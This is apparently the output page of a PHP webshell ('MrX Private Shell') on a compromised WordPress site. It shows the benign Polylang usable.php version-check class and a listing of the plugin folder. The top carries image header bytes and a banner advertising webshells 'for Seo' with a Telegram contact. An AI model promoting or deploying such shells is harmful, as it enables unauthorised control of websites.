����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
/**
* @package Polylang
*
* /!\ THE CODE IN THIS FILE MUST BE COMPATIBLE WITH PHP 5.6.
*
* /!\ THE CONSTANTS `POLYLANG`, `PLL_MIN_PHP_VERSION`, AND `PLL_MIN_WP_VERSION` MUST BE DEFINED.
*/
/**
* Class tat can tell if Polylang can be activated.
*
* @since 3.8
*/
class PLL_Usable {
/**
* Checks min PHP and WP version, displays a notice if a requirement is not met.
*
* @since 2.6.7
* @since 3.8 Moved from the class `PLL_Install`.
* Made it `static`.
*
* @return bool
*/
public static function can_activate() {
global $wp_version;
if ( version_compare( pll_get_constant( 'PHP_VERSION', '' ), static::get_min_php_version(), '<' ) ) {
add_action( 'admin_notices', array( static::class, 'php_version_notice' ) );
return false;
}
if ( version_compare( $wp_version, static::get_min_wp_version(), '<' ) ) {
add_action( 'admin_notices', array( static::class, 'wp_version_notice' ) );
return false;
}
return true;
}
/**
* Displays a notice if PHP min version is not met.
*
* @since 2.6.7
* @since 3.8 Moved from the class `PLL_Install`.
* Made it `static`.
*
* @return void
*/
public static function php_version_notice() {
load_plugin_textdomain( 'polylang' ); // Plugin i18n.
printf(
'<div class="error"><p>%s</p></div>',
sprintf(
/* translators: 1: Plugin name 2: Current PHP version 3: Required PHP version */
esc_html__( '%1$s has deactivated itself because you are using an old version of PHP. You are using using PHP %2$s. %1$s requires PHP %3$s.', 'polylang' ),
esc_html( static::get_plugin_name() ),
esc_html( pll_get_constant( 'PHP_VERSION', '' ) ),
esc_html( static::get_min_php_version() )
)
);
}
/**
* Displays a notice if WP min version is not met.
*
* @since 2.6.7
* @since 3.8 Moved from the class `PLL_Install`.
* Made it `static`.
*
* @return void
*/
public static function wp_version_notice() {
global $wp_version;
load_plugin_textdomain( 'polylang' ); // Plugin i18n.
printf(
'<div class="error"><p>%s</p></div>',
sprintf(
/* translators: 1: Plugin name 2: Current WordPress version 3: Required WordPress version */
esc_html__( '%1$s has deactivated itself because you are using an old version of WordPress. You are using using WordPress %2$s. %1$s requires at least WordPress %3$s.', 'polylang' ),
esc_html( static::get_plugin_name() ),
esc_html( $wp_version ),
esc_html( static::get_min_wp_version() )
)
);
}
/**
* Returns the minimal php version required to run the plugin.
*
* @since 3.8
*
* @return string
*/
public static function get_min_php_version() {
return pll_get_constant( 'PLL_MIN_PHP_VERSION', '' );
}
/**
* Returns the minimal WP version required to run the plugin.
*
* @since 3.8
*
* @return string
*/
public static function get_min_wp_version() {
return pll_get_constant( 'PLL_MIN_WP_VERSION', '' );
}
/**
* Returns the plugin's name.
*
* @since 3.8
*
* @return string
*/
public static function get_plugin_name() {
return pll_get_constant( 'POLYLANG', '' );
}
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| abstract-activable.php | File | 1.67 KB | 0644 |
|
| abstract-activate.php | File | 1015 B | 0644 |
|
| abstract-deactivate.php | File | 949 B | 0644 |
|
| activate.php | File | 1.91 KB | 0644 |
|
| deactivate.php | File | 629 B | 0644 |
|
| plugin-updater.php | File | 21.53 KB | 0644 |
|
| t15s.php | File | 5.89 KB | 0644 |
|
| upgrade.php | File | 9.18 KB | 0644 |
|
| usable.php | File | 3.08 KB | 0644 |
|